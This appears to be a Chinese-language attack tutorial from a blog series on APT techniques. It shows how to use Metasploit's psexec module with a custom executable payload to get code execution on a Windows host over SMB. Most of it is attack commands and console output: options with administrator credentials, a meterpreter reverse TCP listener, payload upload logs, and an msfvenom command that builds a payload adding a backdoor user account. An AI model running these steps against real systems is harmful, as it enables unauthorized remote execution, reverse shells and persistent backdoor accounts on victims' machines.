专注APT攻击与防御
https://micropoor.blogspot.com/

MSF的exploit模块下是支持set payload的，同样在复杂的网络环境下，许多模块也同样支持自定义的payload。可以更好的配合第三方框架，如第十一课中提到的Veil-Evasion等。

以exploit/windows/smb/psexec为demo。

攻击机配置如下：

```
msf exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name Current Setting Required Description
   ---- --------------- -------- -----------
   RHOST 192.168.1.119 yes The target address
   RPORT 445 yes The SMB service port (TCP)
   SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME no The service display name
   SERVICE_NAME no The service name
   SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain . no The Windows domain to use for authentication
   SMBPass 123456 no The password for the specified username
   SMBUser administrator no The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name Current Setting Required Description
   ---- --------------- -------- -----------
   EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
   LHOST 192.168.1.5 yes The listen address (an interface may be specified)
   LPORT 53 yes The listen port


```

```
Exploit target:

 Id Name
 -- ----
 0 Automatic

```

```
msf exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOST                 192.168.1.119    yes       The target address
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass               123456           no        The password for the specified username
   SMBUser               administrator    no        The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.1.5      yes       The listen address (an interface may be specified)
   LPORT     53               yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

需设置一非，常用选项：

```
msf exploit(windows/smb/psexec) > set EXE::CUSTOM /var/www/html/bin_tcp_x86_53.exe
EXE::CUSTOM => /var/www/html/bin_tcp_x86_53.exe
```

```
msf exploit(windows/smb/psexec) > set EXE::CUSTOM /var/www/html/bin_tcp_x86_53.exe
EXE::CUSTOM => /var/www/html/bin_tcp_x86_53.exe
msf exploit(windows/smb/psexec) >
```

靶机当前端口如下：

```
C:\Documents and Settings\Administrator>netstat -an| findstr 53
  UDP    0.0.0.0:1532           *:*
  UDP    0.0.0.0:45362          *:*
```

攻击机执行：

```
EXE::CUSTOM => /var/www/html/bin_tcp_x86_53.exe
msf exploit(windows/smb/psexec) > exploit

[*] Started reverse TCP handler on 192.168.1.5:53
[*] 192.168.1.119:445 - Connecting to the server...
[*] 192.168.1.119:445 - Authenticating to 192.168.1.119:445 as user 'administrator'...
[*] 192.168.1.119:445 - Selecting native target
[*] 192.168.1.119:445 - Uploading payload... RYQLwxJs.exe
[*] 192.168.1.119:445 - Using custom payload /var/www/html/bin_tcp_x86_53.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.1.119:445 - Created \RYQLwxJs.exe...
[-] 192.168.1.119:445 - Unable to remove the service, ERROR_CODE:
[-] 192.168.1.119:445 - Exploit failed: RubySMB::Error::UnexpectedStatusCode STATUS_PIPE_EMPTY
[*] Exploit completed, but no session was created.
msf exploit(windows/smb/psexec) >
```

靶机端口变化如下：

虽报错，但并不影响执行。

```
C:\Documents and Settings\Administrator>netstat -an| findstr 53
  TCP    0.0.0.0:53             0.0.0.0:0              LISTENING
  UDP    0.0.0.0:1532           *:*
  UDP    0.0.0.0:45362          *:*
```

注意：

Psexec创建一个服务后，来运行可执行文件（如Micropoor.exe）。但是将可执行文件作为服务，payload必须接受来自控制管理器的命令，否则将会执行失败。而psexec创建服务后，将随之停止，该payload处于挂起模式。

参考该服务源码：https://github.com/rapid7/metasploit-framework/blob/master/data/templates/src/pe/exe/service/service.c，payload启动后，将会在过一段时间内退出。并强制终止。

故该参数一般用于adduser。配合adduser_payload。或者配合一次性执行完毕非常连接的payload。如下载。抓明文密码等。不适合需长连接通信的payload。

```
root@John:/tmp# msfvenom -p windows/adduser PASS=Micropoor$123 USER=Micropoor -f exe >adduser.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 279 bytes
Final size of exe file: 73802 bytes

```

```
root@John:/tmp# msfvenom -p windows/adduser PASS=Micropoor$123 USER=Micropoor -f exe >adduser.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 279 bytes
Final size of exe file: 73802 bytes
```

同样可以配合target的改变来解决控制管理器的强制命令接收。

攻击机设置：

```
msf exploit(windows/smb/psexec) > show targets

Exploit targets:

 Id Name
 -- ----
 0 Automatic
 1 PowerShell
 2 Native upload
 3 MOF upload
msf exploit(windows/smb/psexec) > set target 2
target => 2
msf exploit(windows/smb/psexec) > exploit

[*] Started reverse TCP handler on 192.168.1.5:53
[*] 192.168.1.119:445 - Connecting to the server...
[*] 192.168.1.119:445 - Authenticating to 192.168.1.119:445 as user 'administrator'...
[*] 192.168.1.119:445 - Uploading payload... kKwZpPRs.exe
[*] 192.168.1.119:445 - Using custom payload /var/www/html/bin_tcp_x86_53.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.1.119:445 - Created \kKwZpPRs.exe...
[-] 192.168.1.119:445 - Unable to remove the service, ERROR_CODE:
[-] 192.168.1.119:445 - Exploit failed: RubySMB::Error::UnexpectedStatusCode STATUS_PIPE_EMPTY
[*] Exploit completed, but no session was created.
```

```
msf exploit(windows/smb/psexec) > set target 2
target => 2
msf exploit(windows/smb/psexec) > exploit

[*] Started reverse TCP handler on 192.168.1.5:53
[*] 192.168.1.119:445 - Connecting to the server...
[*] 192.168.1.119:445 - Authenticating to 192.168.1.119:445 as user 'administrator'...
[*] 192.168.1.119:445 - Uploading payload... kKwZpPRs.exe
[*] 192.168.1.119:445 - Using custom payload /var/www/html/bin_tcp_x86_53.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.1.119:445 - Created \kKwZpPRs.exe...
[-] 192.168.1.119:445 - Unable to remove the service, ERROR_CODE:
[-] 192.168.1.119:445 - Exploit failed: RubySMB::Error::UnexpectedStatusCode STATUS_PIPE_EMPTY
[*] Exploit completed, but no session was created.
```

目标机：

在执行payload即可。

- Micropoor